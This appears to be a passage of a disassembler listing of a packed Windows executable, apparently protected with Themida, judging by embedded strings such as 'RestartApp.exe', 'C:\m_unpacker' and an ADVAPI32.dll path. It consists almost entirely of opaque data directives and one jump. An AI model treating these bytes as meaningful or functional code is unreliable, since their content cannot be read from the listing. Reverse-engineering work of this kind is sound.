		dd 0D99EBCB1h, 123DD2C0h, 7C18C6ACh, 9FCE001Dh,	832CB99h
		dd 45005E52h, 0A7D3B1FFh, 5B1CB779h, 692441A0h,	0E8617B42h
		dd 8F2D3524h, 0A10A089h, 176548Dh, 0B7F3D14Fh, 0C9A6BDDDh
		dd 2565F055h, 0E10BAD00h, 8E73604Eh, 531B2568h,	4566ACA0h
		dd 8F10D386h, 9382B7h, 7F28BE50h, 0CB02CE0Dh, 0D904D172h
		dd 9CD253h, 0CDE25B5Fh,	7250F044h, 0E8B57300h, 0EE4E388Bh
		dd 8CCB079Dh, 0BC861DF2h, 589809C1h, 363CDA13h,	21BC7809h
		dd 0ED20C190h, 9C05E0E4h, 967240E0h, 0F12F6F8h,	0BC0FE279h
		dd 8428D736h, 347AADh, 0EB87A2B2h, 4846D54Fh, 423ABD02h
		dd 4102C00Ch, 94E024B4h, 8F213BF8h, 0E2F7C200h,	0D9AEB75Ch
		dd 0A845B0B8h, 4B69CDD8h, 77684088h, 9ED247E8h,	0F998AD00h
		dd 8895721Bh, 0C7A71F26h, 8BF54492h, 54E36Dh, 25AF5A30h
		dd 99B06B9h, 0D6BE0F8h,	0D872CC05h, 0D800716Ch,	707AA85Fh
		dd 71945DE3h, 0F41D2DD3h, 2ECDB018h, 0CB9AC31Fh, 80500444h
		dd 0A5BAFB01h, 7C329Eh,	0B1FCEB78h, 0E6951665h,	21DD0055h
		dd 0E4BDBE27h, 8099A06h, 683AB757h, 0BCA01DB8h,	0A7CF6050h
		dd 83002EBFh, 0BCCD659h, 0CA2BD0h, 9DAC51D8h, 6DB25ACDh
		dd 7D034A16h, 9031CCD2h, 303396C4h, 9ABCB3A2h, 26007E8Bh
		dd 0A6715F4Eh, 290AE66Bh, 0B9DC9DC5h, 2098F980h, 606CB515h
		dd 2B910302h, 41A1713Bh, 0CC144344h, 11010FF8h,	31778C9Ah
		dd 0E043335Fh, 0A8893957h, 9E8197h, 5FE17AE5h, 0BE18A75Dh
		dd 6C212130h, 0F5DA1CC8h, 4D12C0D6h, 4840F4E6h,	0BA077001h
		dd 0E47D7865h, 0B0020h,	0C3902DA6h, 637C3A17h, 325033B8h
		dd 76673F90h, 0B9709551h, 1F757A94h, 0FEBEA1Eh,	9CB8C53h
		dd 0E8B96490h, 0FDCD171Ch, 22A16E80h, 2560AE5Ah, 1C203140h
		dd 1CE41E8Ch, 823FC900h, 0FB611723h, 3810B5Fh, 0D4640E34h
		dd 0AC4CAE4Bh, 0D361B6h, 6487C70Ch, 5F52F3D7h, 730B0673h
		dd 44B33C15h, 5E7054h, 4601F6B8h, 957DAAACh, 9812D198h
		dd 0C052B56h, 44808953h, 0EC8E3DE3h, 0C4118905h, 96011773h
		dd 0F478597Ch, 2DC03D1Fh, 0C0DB00A4h, 778108F5h, 60169921h
		dd 38203062h, 1D038F79h, 0C87D1A14h, 0FF60059Dh, 0B52641h
		dd 1A129181h, 54EAC0F8h
		dd 0C1569B0Fh, 1761C271h, 7D9460E8h, 0D38300A3h, 40B5BEBDh
		dd 0CF00DDD4h, 44774B1Ah, 1B3FBEAh, 0D3274D7Ah,	9DB6B8EBh
		dd 0BE404058h, 8F20DB0Fh, 6500072h, 5633133Eh, 0B707BB7Eh
		dd 0E837B9B1h, 0ED6ADB91h, 85B53080h, 5546A352h, 1A1C2400h
		dd 0DD7AC7B9h, 92AB0371h, 0C66AFD8Bh, 32C0BBD3h, 4B4C165Fh
		dd 0D5716061h, 0F63AC8h, 8B1980F5h, 4A3B5C6Ah, 61C044E8h
		dd 4E45E19Dh, 0E5D40CBAh, 8C195155h, 8E9C5Ch, 37E8B718h
		dd 1EB027E3h, 0AFBB82h,	74BDFC7Ah, 133C3CC5h, 26630780h
		dd 418C54ADh, 741E00B2h, 0DDEA961Ah, 0FF01C3B9h, 476ED222h
		dd 0A180BE44h, 0E86BBAEBh, 39C0356Ah, 0C89AB74Ah, 265052Ch
		dd 81564777h, 0D94B190Eh, 54398C98h, 0F8631F0h,	127E6052h
		dd 33EC8381h, 855C437h,	74C48901h, 0B20E9F58h, 8CBC3880h
		dd 0DC86E226h, 6FD12C00h, 5D8FB1D6h, 56450043h,	0B0BBE8DEh
		dd 2705DCB5h, 0FA7A8826h, 7146EC00h, 5AD36438h,	7328A049h
		dd 37060FF8h, 0B5B98602h, 47540360h, 0CB76C3CFh, 7D2E3F80h
		dd 9F4CFB0Fh, 1C8FE0E8h, 13EA74h, 5ED7357Eh, 0D4FB473Eh
		dd 0D98EB630h, 14287Dh,	0D2556361h, 7B01701Fh, 830A3603h
		dd 0FAB20439h, 0E444152h, 1DAE270h, 9597F973h, 80BF8060h
		dd 0ADF0E489h, 2A4A6EFh, 0DF18AB96h, 14C05AB7h,	0BF151DACh
		dd 0A0523Ch, 3D798DC1h,	16C67541h, 3873DBh, 0C536F102h
		dd 0EF0072B9h, 89C0CACCh, 0C3E955FEh, 50C4CE39h, 144C52E8h
		dd 3854AB3Bh, 0C01709F6h, 0FF7C01C5h, 0A8DC4F1Ch, 91460344h
		dd 3F34BF30h, 26724100h, 0DDB03C80h, 0EAE63B35h, 0D49CAAh
		dd 0B53605E7h, 89B31D55h, 0B63D9007h, 0EE96E6A7h, 87513A41h
		dd 7DA0CA00h, 0C6940F03h, 5B193Bh, 13029A0Ah, 248312E3h
		dd 80D4BBC4h, 0EA4FCE38h, 94AAC13Fh, 0A7F6A403h, 8DDF65D0h
		dd 6084BB00h, 0C0451B01h, 1A5A00AFh, 3DDD6CECh,	0C2F463AAh
		dd 37177E00h, 74339035h, 4ED73462h, 2D00AE61h, 6A313DEh
		dd 0D8EA1CFFh, 0C0925C9Eh, 647B67CEh, 0F601E13Ch, 30EEBBA4h
		dd 0FC50B6B5h, 1C106FC3h, 800362B9h, 17BB8156h,	416148BFh
		dd 500E0CF1h, 0DF009423h, 1748F7E9h, 931E6C18h,	0FCE40629h
		dd 96119841h, 4C44D0ECh, 9FC0401Bh, 0A1A65877h,	49FB6500h
		dd 4C8E973Ch, 0AC4E0041h, 0C39EAD19h, 0BA03E8F4h, 3CC21881h
		dd 9841CD27h, 1A89A03Eh, 0FFE5BA61h, 0A8112C50h, 9BFB0003h
		dd 99E6EF6Ch, 0E900E47Eh, 10AAC8A1h, 2447BF49h,	430CF35h
		dd 92A414D6h, 0D922EB08h, 55A4A0A6h, 65431h, 9128C55Dh
		dd 0AF321B2Fh, 87D88654h, 0B236CA60h, 0C03855DEh, 0BCA26E41h
		dd 76E448A3h, 19783F0Ah, 444088B6h, 1FF4BF64h, 8E18D80Bh
		dd 0DD846013h, 0B5ECC1C4h, 0EF29808Fh, 12F75397h, 0FDE803F1h
		dd 379B212Fh, 44AC03B8h, 151E2D77h, 2E40738Bh, 4A0AD2DDh
		dd 40B8DDBDh, 534427B3h, 15044356h, 63F2BAC3h, 0AD322DC0h
		dd 0DD71EEh, 647FFB3Ch,	337B82AEh, 22D80C4Ch, 0D2EB00C9h
		dd 2D72DDE6h, 8315ECD0h, 28CA1B9h, 27ABF0Fh, 3848134h
		dd 2C303347h, 74EEAFh, 0CD629260h, 82D7FBEBh, 39BEC133h
		dd 3654D9EEh, 3FCB9450h, 0D058BDE7h, 0C8CECF02h, 8055F1BFh
		dd 93C42D10h, 0D86F00A2h, 5E68A109h, 0D201E829h, 0EA47ED83h
		dd 824C825h, 9E72023Dh,	0D99A8138h, 8F28444h, 857D3Bh
		dd 0C9A0633Eh, 7C81D7FFh, 532E01ABh, 0A3831EDCh, 0AFC887BAh
		dd 0BB80E52Ah, 2ECE34D6h, 7462288h, 472EAE94h, 0DE9808Fh
		dd 41FC91D9h, 202AFB37h, 7AB4F5C1h, 658A8107h, 443A608Ch
		dd 78B013Fh, 7DA180CCh,	16A1447h, 6CFFFF5Fh, 0
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_53BC59:				; CODE XREF: start:loc_4E0265j
					; DATA XREF: start:loc_4E0086o
		jmp	loc_53EFAE
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dw 5600h
		dd 0E8BA0000h, 53h, 9 dup(0)
		dd 72D60000h, 5Bh, 0C7D40000h, 0AC11h, 0
		dd 45A50000h, 9566h, 0A6800B6h,	5044AFh, 0A06CFE10h, 0FFFFh
		dd 0Ah dup(0)
		dd 0F9C0000h, 2	dup(0)
		dd 0A4B80000h, 5Ah, 7 dup(0)
		dd 0BFFF0258h, 2A0Fh, 0Fh dup(0)
		dd 0FFF00000h, 12h, 0D5DF0000h,	5Ah, 9C0000h, 0DEFB0000h
		dd 0FFE02EDFh, 1D80012h, 40h, 0FD2D0000h, 8E520053h, 57h
		dd 2 dup(0)
		dd 0A1440000h, 2A7E77E7h, 1B1D0058h, 30434E4h, 7FFEh, 0AD1F0000h
		dd 0D146h, 28h dup(0)
		dd 3040000h, 24697FFEh,	0FD5h, 2 dup(0)
		dd 0ACE80000h, 45F50000h, 0A8001BE9h, 0Ch dup(0)
		dd 0FFFCh, 0
		dd 0D6120000h, 0A45Dh, 8F990000h, 5Ah, 5 dup(0)
		dd 8C0000h, 2 dup(0)
		dd 0A36B0000h, 0EB0057h, 0
		dd 9F70000h, 304009Fh, 7FFEh, 7	dup(0)
		dd 0CF100000h, 0FF4Fh, 3 dup(0)
		dd 46DE0000h, 0EC9Bh, 3	dup(0)
		dd 8EB0000h, 8C0A0000h,	9Fh, 2 dup(0)
		dd 0A9A0000h, 3	dup(0)
		dd 36B0000h, 0ECA8h, 0
		dd 3040000h, 3B237FFEh,	7993h, 2 dup(0)
		dd 7C0000h, 6 dup(0)
		dd 0B1680000h, 9Eh, 2 dup(0)
		dd 8D8D0000h, 97E9E85Fh, 86530000h, 60058h, 5 dup(0)
		dd offset dword_580000
		dd 3 dup(0)
		dd 0EB9F0000h, 0EA721C3Dh, 0FFA4h, 0
		dd 8C0000h, 7 dup(0)
		dd 0EA190000h, 0CEFDFF64h, 57h,	5 dup(0)
		dd 0FFF00000h, 0A5E70003h, 0A3h, 2 dup(0)
		dd 39460000h, 8DD9h, 5 dup(0)
		dd 0FF54025Ah, 12h, 2 dup(0)
		dd 0D0E40000h, 0BE82h, 0
		dd 0FF5C0000h, 190012h,	2 dup(0)
		dd 58700000h, 0D8F4h, 0
		dd 0FF540000h, 417C0012h, 0F99877E8h, 53h, 3 dup(0)
		dd 0FAA90000h, 0E9C20056h, 68CA0053h, 1F02BBB8h, 0A0A94Eh
		dd 0F9CC0000h, 47A9h, 2	dup(0)
		dd 17470000h, 2	dup(0)
		dd 65520000h, 72617473h, 70704174h, 6578652Eh, 5 dup(0)
		dd 8C3E0000h, 1FFF0057h, 7 dup(0)
		dd 230000h, 53h, 3 dup(0)
		dd 71F90000h, 23D70057h, 0E20677DDh, 0A887h, 3 dup(0)
		dd 19FE0000h, 0FFFFh, 0
		dd 9E500000h, 0FFFFh, 5	dup(0)
		dd 37AF0000h, 0B1120BBEh, 58h, 0FFF80000h, 939377FFh, 9Fh
		dd 6 dup(0)
		dd 0AC0000h, 4 dup(0)
		dd 0EBB30000h, 77F7h, 4	dup(0)
		dd 0D7060000h, 77E6h, 0Bh dup(0)
		dd 31A10000h, 5Bh, 2 dup(0)
		dd 10000000h, 8	dup(0)
		dd 700000h, 6080000h, 0FFFCh, 5	dup(0)
		dd 0B8BF0000h, 0AAB30ECAh, 7 dup(0)
		dd 6BE90000h, 2	dup(0)
		dd 74420000h, 0B1h, 3 dup(0)
		dd 5FF40000h, 0AEh, 9 dup(0)
		dd 0FFB00000h, 23Fh, 5 dup(0)
		dd 10000000h, 40h, 2 dup(0)
		dd 0A00F0000h, 7AA9009Fh, 59h, 20000h, 4 dup(0)
		dd 9BE60000h, 9B74FFFFh, 0FFFFh, 7 dup(0)
		dd 6BE90000h, 474h, 46F60000h, 9456h, 25h dup(0)
		dd 0F1240000h, 9BE60001h, 0FFFFh, 85h dup(0)
		dd 6CE40000h, 56h, 0F2280000h, 58h, 5 dup(0)
		dd 6BE90000h, 0
		dd 8DFF0000h, 8B82FFFFh, 77E7h,	4 dup(0)
		dd 0E3C70000h, 58h, 2 dup(0)
		dd 25C60000h, 5Bh, 2 dup(0)
		dd 0AA910000h, 7FFEh, 0
		dd 390000h, 2 dup(0)
		dd 0E7290000h, 1BBh, 0
		dd 31260000h, 268B616h,	32CFh, 2 dup(0)
		dd 63C20000h, 6DDFh, 7 dup(0)
		dd 0B990000h, 5Ah, 4 dup(0)
		dd 0D0500000h, 1B3Fh, 2	dup(0)
		dd 53180000h, 0FFFFh, 0
		dd 0FCFC0000h, 8001h, 20000h, 3	dup(0)
		dd 8D8D0000h, 3B9Ah, 0Ah dup(0)
		dd 74900000h, 57h, 5 dup(0)
		dd 0FFDD0000h, 884A7Eh,	0
		dd 0AA420000h, 266h, 3 dup(0)
		dd 6B000000h, 0
		dd 2EC0000h, 0BFh, 8FAF0000h, 3D27h, 8E520000h,	57h, 10000h
		dd 0
		dd 230000h, 53h, 8 dup(0)
		dd 0E77F0000h, 7FFFh, 69DD0000h, 0
		dd 3040000h, 7FFEh, 4AF00000h, 0Eh, 32680000h, 0A0h, 3 dup(0)
		dd 4780000h, 0B60C005Ah, 8EF3h,	2 dup(0)
		dd 0EA720000h, 0FFA4h, 5 dup(0)
		dd 0F31C0000h, 440h, 0
		dd 15680000h, 0A0h, 1Ah, 0Fh dup(0)
		dd 0CDF00000h, 0F8282A9Ah, 56h,	3 dup(0)
		dd 39200000h, 0A0h, 2 dup(0)
		dd 66440000h, 69DD0058h, 9Fh, 0Ah dup(0)
		dd 7FD80000h, 863D0057h, 8ABFh,	4 dup(0)
		dd 6CB00000h, 9Fh, 3 dup(0)
		dd 6B290000h, 3	dup(0)
		dd 17470000h, 0FFACh, 2	dup(0)
		dd 173F0000h, 0A85200h,	380000h, 4 dup(0)
		dd 0FFA80000h, 0FFFFh, 0AE8F0000h, 6A3A1126h, 6BFBh, 0
		dd 10000h, 8C6A0000h, 57h, 2A040000h, 58h, 18BE0000h, 0B8ACh
		dd 11h dup(0)
		dd 0A00F0000h, 9Fh, 12h	dup(0)
		dd 8650000h, 0
		dd 40000h, 0B90A0000h, 6BA9h, 3	dup(0)
		dd 0FFFE0000h, 0FFFFh, 77F5h, 0A00F0000h, 9Fh, 92340000h
		dd 9Fh,	25CF0000h, 1005Ah, 0
		dd 0F4E60000h, 53h, 3 dup(0)
		dd 0A13F0000h, 30477E7h, 3047FFEh, 17FFEh, 4 dup(0)
		dd 35B0000h, 5 dup(0)
		dd 65360000h, 0A377h, 0Fh dup(0)
		dd 4FF60000h, 57h, 3 dup(0)
		dd 0D0000000h, 0Dh, 4 dup(0)
		dd 8A680000h, 7FFEh, 67680000h,	22224676h, 22222222h, 2222h
		dd 3040000h, 7FFEh, 57840000h, 5Ah, 37AF0000h, 0BBEh, 3	dup(0)
		dd 91ED0000h, 0A60h, 3 dup(0)
		dd 10000h, 2 dup(0)
		dd 0C96A0000h, 77D4h, 2	dup(0)
		dd 3E680000h, 0F34477E8h, 0FF94h, 0Bh dup(0)
		dd 25C60000h, 740005Bh,	28Ah, 95940000h, 1981h,	4 dup(0)
		dd 0C8E0000h, 68C4h, 99710000h,	0FFFFh,	20h dup(0)
		dd 0ADh, 0A8370000h, 30477E7h, 7FFEh, 0
		dd 0FFA40000h, 12h, 0
		dd 33330000h, 2	dup(33333333h),	3333h, 360D0000h, 0FF300058h
		dd 0FFFFh, 0Ch dup(0)
		dd 425C0000h, 57h, 0
		dd 60710000h, 57h, 2Ch dup(0)
		dd 0AC2C0000h, 7E51h, 0FFFF0000h, 8D53FFFFh, 0B73600A3h
		dd 3040057h, 7FFEh, 3 dup(0)
		dd 69DD0000h, 1434009Fh, 42000000h, 2730h, 2 dup(0)
		dd 2E0F0000h, 77F5h, 6 dup(0)
		dd 0BDA40000h, 0FFA8h, 23080000h, 0EA720059h, 0FFA4h, 2	dup(0)
		dd 69DD0000h, 72D6009Fh, 0F80E005Bh, 56h, 4 dup(0)
		dd 230000h, 1C6D0057h, 5Ah, 4 dup(0)
		dd 0A1FE0000h, 0AFh, 4 dup(0)
		dd 0B7360000h, 89Ch, 0
		dd 0A1440000h, 0BF3677E7h, 57h,	0
		dd 9B830000h, 7F66h, 3EA90000h,	5Ah, 0Fh dup(0)
		dd 0B4640000h, 650Ch, 9F10000h,	900058h, 463B0000h, 0A00F732Bh
		dd 9Fh,	0C4860000h, 77E7h, 0
		dd 0E0860000h, 9 dup(0)
		dd 4FF60000h, 3E3B47ECh, 9Fh, 0
		dd 3040000h, 0CEBB7FFEh, 0F5B3005Ah, 23E80058h,	0BC5900A0h
		dd 0FA4Ch, 0
		dd 0FFFF0000h, 0AC5EFFFFh, 77E7h, 4 dup(0)
		dd 5FF10000h, 9D00FF60h, 0FFFFh, 3 dup(0)
		dd 50000h, 0D3020000h, 53h, 2C180000h, 59740933h, 0FCFC8655h
		dd 8001h, 0
		dd 0EF70000h, 16D4h, 5 dup(0)
		dd 6BE90000h, 0Ah dup(0)
		dd 10000h, 2 dup(0)
		dd 5A730000h, 3213FE46h, 5Ah, 9	dup(0)
		dd 840000h, 2 dup(0)
		dd 21830000h, 0
		dd 259h, 3 dup(0)
		dd 0DC450000h, 5Ah, 0
		dd 0BFh, 3 dup(0)
		dd 0FF600000h, 72D60012h, 5Bh, 4 dup(0)
		dd 0A0990000h, 77E7h, 6	dup(0)
		dd 7F290000h, 57h, 0
		dd 99950000h, 0E8FB00A3h, 3042F14h, 7FFEh, 5 dup(0)
		dd 69DD0000h, 9Fh, 6 dup(0)
		dd 4A3B0000h, 6EA477E7h, 0Dh dup(0)
		dd 84BC0000h, 997741DEh, 0FCFC7FF7h, 8001h, 0
		dd 4D910000h, 3BBCh, 5 dup(0)
		dd 0E9C20000h, 53h, 8 dup(0)
		dd 0FAD80000h, 1619h, 7	dup(0)
		dd 740000h, 6 dup(0)
		dd 0EA720000h, 0FFA4h, 0
		dd 56430000h, 9	dup(0)
		dd 4FF60000h, 5	dup(0)
		dd 0EB780000h, 0B6Ch, 4	dup(0)
		dd 8D8D0000h, 696Dh, 0B1CA0000h, 0B400ADh, 4 dup(0)
		dd 230000h, 57h, 65650000h, 5Ah, 6CB0000h, 4 dup(0)
		dd 4, 0
		dd 3040000h, 7FFEh, 8D8D0000h, 639Ah, 3	dup(0)
		dd 7FD80000h, 0E8D800A1h, 0F4ADh, 0
		dd 0FCFC0000h, 8001h, 8E520000h, 57h, 0
		dd 0D43B0000h, 4EBF2239h, 0FFA7h, 0E9000040h, 8	dup(0)
		dd 0F6F40000h, 8005h, 2	dup(0)
		dd 77120000h, 0B877F5h,	0B000000h, 0C20374C0h, 448B0018h
		dd 0E8530C24h, 0
		dd 17C3815Bh, 89000000h, 8910245Ch, 5B142444h, 9FA037B8h
		dd 8BE0FF00h, 0FF042444h, 0E0h,	16h dup(0)
		dd 0C32D0000h, 0A1E40000h, 2 dup(0)
		dd 0EBB30000h, 77FCh, 0F4AA0000h, 3 dup(0)
		dd 3040000h, 7FFEh, 7 dup(0)
		dd 0A00F0000h, 9Fh, 0
		dd 91ED0000h, 0A60h, 2 dup(0)
		dd 91ED0000h, 0A60h, 2 dup(0)
		dd 10000h, 6 dup(0)
		dd 0D5DF0000h, 5Ah, 2 dup(0)
		dd 0A020000h, 58h, 3 dup(0)
		dd 0E800000h, 0
		dd 155C0000h, 2, 0
		dd 22720000h, 0FCFC0059h, 0E0008001h, 9E2E004Dh, 7D108FBh
		dd 0
		dd 180B0000h, 77F5h, 5 dup(0)
		dd 0EA720000h, 0FFA4h, 2 dup(0)
		dd 89480000h, 0F11C6782h, 7FB2h, 3 dup(0)
		dd 1B400000h, 0A90676B4h, 7BE7h, 3 dup(0)
		dd 0D1120000h, 25CF0000h, 5Ah, 22920000h, 4BA1009Fh, 24C8h
		dd 97840000h, 86ADh, 0
		dd 6B9C0000h, 0
		dd 0CF5F0000h, 57h, 5 dup(0)
		dd 74000000h, 5Ah, 21680000h, 77E8h, 3 dup(0)
		dd 9FA0000h, 0FF40h, 8 dup(0)
		dd 97000000h, 3636FFFFh, 3636h,	3 dup(0)
		dd 5CB50000h, 77E7h, 4 dup(0)
		dd 9C020000h, 0C817FA4Dh, 57h, 8A3A0000h, 30DFFED3h, 0A9C5h
		dd 0Bh dup(0)
		dd 0B8BF0000h, 0ECAh, 0Ah dup(0)
		dd 8C3E0000h, 70C40057h, 9Fh, 3040000h,	7FFEh, 5 dup(0)
		dd 3040000h, 987FFEh, 0E7D80000h, 4EFh,	2 dup(0)
		dd 0B90A0000h, 0EB996BA9h, 5B6Ch, 0
		dd 0C8220000h, 69DD8818h, 9Fh, 0
		dd 9BE60000h, 0FFFFh, 6	dup(0)
		dd 0DE3B0000h, 53h, 0FBB40000h,	96CAh, 2 dup(0)
		dd 3040000h, 7FFEh, 0A40000h, 0FF540000h, 0C96A0012h, 0CD877D4h
		dd 6C65h, 3 dup(0)
		dd 0ED8F0000h, 59h, 4 dup(0)
		dd 140000h, 0Eh, 4 dup(0)
		dd 259h, 7 dup(0)
		dd 8D2A0000h, 0FFA4h, 0
		dd 92090000h, 450FDCFCh, 772872C1h, 0A4E0h, 2 dup(0)
		dd 0D0500000h, 1B3Fh, 4	dup(0)
		dd 79630000h, 77E7h, 0
		dd 6180000h, 77E8h, 4 dup(0)
		dd 2D4D0000h, 57h, 7 dup(0)
		dd 0B7360000h, 740057h,	6 dup(0)
		dd 0CF460000h, 53h, 0
		dd 0FE60000h, 9Eh, 8 dup(0)
		dd 3E0000h, 77E6h, 2 dup(0)
		dd 425C0000h, 22CF0057h, 59h, 9	dup(0)
		dd 24240000h, 2424h, 0
		dd 0A0370000h, 9Fh, 3 dup(0)
		dd 0D5540000h, 425C009Eh, 8EC70057h, 2 dup(0)
		dd 0D3E90000h, 5CB5005Ah, 77E7h, 0A6F40000h, 0FFFFh, 3E3B0000h
		dd 9Fh,	0
		dd 23E80000h, 0A0h, 2 dup(0)
		dd 0D3F80000h, 5 dup(0)
		dd 4F950000h, 0
		dd 230000h, 57h, 10000h, 0
		dd 15210000h, 1050CD8h,	0A28h, 3 dup(0)
		dd 0C80000h, 3 dup(0)
		dd 0F22B0000h, 0C5590058h, 3047E29h, 7FFEh, 7 dup(0)
		dd 9B830000h, 7F66h, 9Eh, 4 dup(0)
		dd 3040000h, 7FFEh, 2 dup(0)
		dd 1D240000h, 2F61h, 0A00000h, 0FFEDh, 51170000h, 0FFFBh
		dd 0
		dd 5ECC0000h, 0C66877DDh, 252FFFFFh, 5Bh, 0
		dd 3040000h, 7FFEh, 3C0000h, 2BDE0000h,	0E5E3009Fh, 59h
		dd 2 dup(0)
		dd 0EAE10000h, 0A384h, 0
		dd 8B820000h, 77E7h, 0Dh dup(0)
		dd 397F0000h, 9E9Eh, 5 dup(0)
		dd 0EDE60000h, 425C2A5Fh, 57h, 0
		dd 63C20000h, 6DDFh, 2 dup(0)
		dd 90C00000h, 4BCEh, 4 dup(0)
		dd 3040000h, 7FFEh, 2 dup(0)
		dd 73160000h, 30400A1h,	7FFEh, 6 dup(0)
		dd 0A00F0000h, 9Fh, 2C550000h, 16F13h, 4FF60000h, 57h
		dd 3040000h, 0DD1E7FFEh, 0FA810053h, 0D6EAh, 9BAC0000h
		dd 0A1h, 0
		dd 0C46E0000h, 5Bh, 0
		dd 9BFD0000h, 9Fh, 4 dup(0)
		dd 0AEF70000h, 17BFh, 3	dup(0)
		dd 72730000h, 9A9Eh, 1890000h, 2 dup(0)
		dd 3A430000h, 4E49575Ch, 53574F44h, 7379535Ch, 336D6574h
		dd 44415C32h, 49504156h, 642E3233h, 6C6Ch, 3Bh dup(0)
		dd 97A40000h, 5Ah, 0
		dd 53000000h, 666Fh, 2 dup(0)
		dd 6BE90000h, 5	dup(0)
		dd 0FCFC0000h, 8001h, 0FAD10000h, 56h, 66890000h, 8008h
		dd 0Ah dup(0)
		dd 0F4E60000h, 53h, 2 dup(0)
		dd 0AC0000h, 0FFEDh, 0
		dd 5E2E0000h, 69DD009Fh, 9Fh, 0
		dd 80D70000h, 0FFA8h, 6	dup(0)
		dd 9A9D0000h, 3308002h,	0DDBCh,	0
		dd 6FF20000h, 5Ah, 56290000h, 0A60h, 0FF540000h, 12h, 4E3A0000h
		dd 57h,	3 dup(0)
		dd 0EC0000h, 63B70000h,	7D6Bh, 8 dup(0)
		dd 0A3E80000h, 0FFFFh, 2 dup(0)
		dd 4FF60000h, 57h, 4 dup(0)
		dd 10000h, 8 dup(0)
		dd 0B5E20000h, 8A0Fh, 0A3E80000h, 3430FFFFh, 2A47312Dh
		dd 0C1E2DCDDh, 1, 3 dup(0)
		dd 0A00F0000h, 9Fh, 0
		dd 915B0000h, 0E9009Fh,	4, 75B50000h, 940000h, 3 dup(0)
		dd 8BA00000h, 9393FFFFh, 9Fh, 2	dup(0)
		dd 7600000h, 58h, 0FF600000h, 40012h, 8	dup(0)
		dd 10000h, 0
		dd 3040000h, 0A17C7FFEh, 59h, 71h dup(0)
		dd 8E520000h, 57h, 0Bh dup(0)
		dd 3F710000h, 0DE7B0057h, 0A77h, 4 dup(0)
		dd 189A0000h, 77DDh, 3 dup(0)
		dd 23FA0000h, 3	dup(0)
		dd 3040000h, 5D87FFEh, 0EA7277E8h, 0B8BFFFA4h, 0ECAh, 0D6A00000h
		dd 0A62h, 2 dup(0)
		dd 3A430000h, 755F6D5Ch, 6361706Eh, 72656Bh, 7Eh dup(0)
		dd 48280000h, 2A48h, 5 dup(0)
		dd 0A5FD0000h, 77E7h, 0
		dd 8C0A0000h, 79EB009Fh, 3900h,	0
		dd 0A00F0000h, 5629009Fh, 0A60h, 3 dup(0)
		dd 3040000h, 7FFEh, 4 dup(0)
		dd 680000h, 6 dup(0)
		dd 0A00F0000h, 9Fh, 6 dup(0)
		dd 3040000h, 7FFEh, 0Ah	dup(0)
		dd 0FF540000h, 9C370012h, 9Fh, 6 dup(0)
		dd 0A00F0000h, 9Fh, 0Dh	dup(0)
		dd 6BE90000h, 2	dup(0)
		dd 780000h, 0
		dd 0FFFF0000h, 3 dup(0)
		dd 94170000h, 0FFFFh, 0
		dd 68540000h, 64696D65h, 61h, 1Bh dup(0)
		dd 13330000h, 0FA561E35h, 9Fh, 3 dup(0)
		dd 94990000h, 9Fh, 4 dup(0)
		dd 0C32D0000h, 5Ah, 2 dup(0)
		dd 0FCFC0000h, 8001h, 7	dup(0)
		dd 0D2B30000h, 0FFA8h, 8 dup(0)
		dd 0B9BD0000h, 20744h, 2B0000h,	0EDE20000h, 8158h, 5 dup(0)
		dd 40000h, 5FF10000h, 0FF60h, 13h dup(0)
		dd 8E520000h, 0D3E90057h, 5Ah, 0EA720000h, 0FFA4h, 7 dup(0)
		dd 6FF20000h, 8E8005Ah,	0
		dd 77E6h, 2 dup(0)
		dd 0FD080000h, 12h, 6BE90000h, 0
		dd 97200000h, 0FFFFh, 4	dup(0)
		dd 56290000h, 56h, 0B1h	dup(0)
		dd 0FCFC0000h, 8001h, 4	dup(0)
		dd 0F9F80000h, 3, 0
		dd 3E00000h, 5 dup(0)
		dd 0F3FD0000h, 5Ah, 2 dup(0)
		dd 190000h, 2 dup(0)
		dd 15640000h, 0A0h, 6 dup(0)
		dd 0F110000h, 234A0000h, 14h, 4	dup(0)
		dd 0E5EA0000h, 291B0058h, 513Dh, 3 dup(0)
		dd 2FE80000h, 8D8D77E8h, 0E85Fh, 2 dup(0)
		dd 0FCFC0000h, 8001h, 2D9C0000h, 8 dup(0)
		dd 230000h, 0F59Dh, 4 dup(0)
		dd 0E8BA0000h, 91ED0053h, 0A60h, 3 dup(0)
		dd 17670000h, 3D8B72F0h, 5Ah, 0
		dd 15680000h, 2D500A0h,	0FF96h,	44AB0000h, 0F1F30058h
		dd 31160058h, 0FFA8h, 74900000h, 57h, 11110000h, 30DF1111h
		dd 0A9C5h, 0Ah dup(0)
		dd 6BE90000h, 0A8370000h, 77E7h, 72D60000h, 5Bh, 2 dup(0)
		dd 0BEBD0000h, 76D7h, 14h dup(0)
		dd 36E0000h, 7FFEh, 2 dup(0)
		dd 74000000h, 5Ah, 0
		dd 97520000h, 77A4h, 2 dup(0)
		dd 77F5h, 0
		dd 7600000h, 8E520058h,	57h, 0
		dd 0BFFD0240h, 3040056h, 7FFEh,	0
		dd 7870000h, 976h, 841E0000h, 5Ah, 0FFFF0000h, 6CE1FFFFh
		dd 809Dh, 2 dup(0)
		dd 84F40000h, 5Ah, 0
		dd 7F060000h, 57h, 10000h, 58h,	7 dup(0)
		dd 10E50000h, 59F000AAh, 77DDh,	0FE140000h, 38h, 0
		dd 0A8F00000h, 6C151A73h, 93EFB9E6h, 77E7h, 34100000h
		dd 0DE3A1FA8h, 53h, 0
		dd 0E8FE0000h, 57h, 0
		dd 0FFA40000h, 0EA720012h, 0FFA4h, 2 dup(0)
		dd 0FF800000h, 0FFFFh, 25Bh, 0FEF00000h, 12h, 0FFC40000h
		dd 12h,	0EA720000h, 0FFA4h, 0FA810000h,	56h, 0
		dd 3A00000h, 0
		dd 54000000h, 0Ah dup(0)
		dd 0C0000h, 240h, 8 dup(0)
		dd 31450000h, 9Fh, 0Fh dup(0)
		dd 4A80000h, 5Ah, 0Bh dup(0)
		dd 8D8D0000h, 0E85Fh, 0FCFC0000h, 8001h, 0
		dd 0A5FD0000h, 77E7h, 4	dup(0)
		dd 687B0000h, 56h, 3 dup(0)
		dd 57380000h, 0FDF0h, 2	dup(0)
		dd 0FFF00000h, 30477FFh, 227FFEh, 1244h, 2 dup(0)
		dd 77DDh, 20h dup(0)
		dd 800000h, 0
		dd 3040000h, 7FFEh, 0
		dd 0E5E90000h, 0DB100000h, 0B4Bh, 2 dup(0)
		dd 0B7360000h, 89Ch, 0
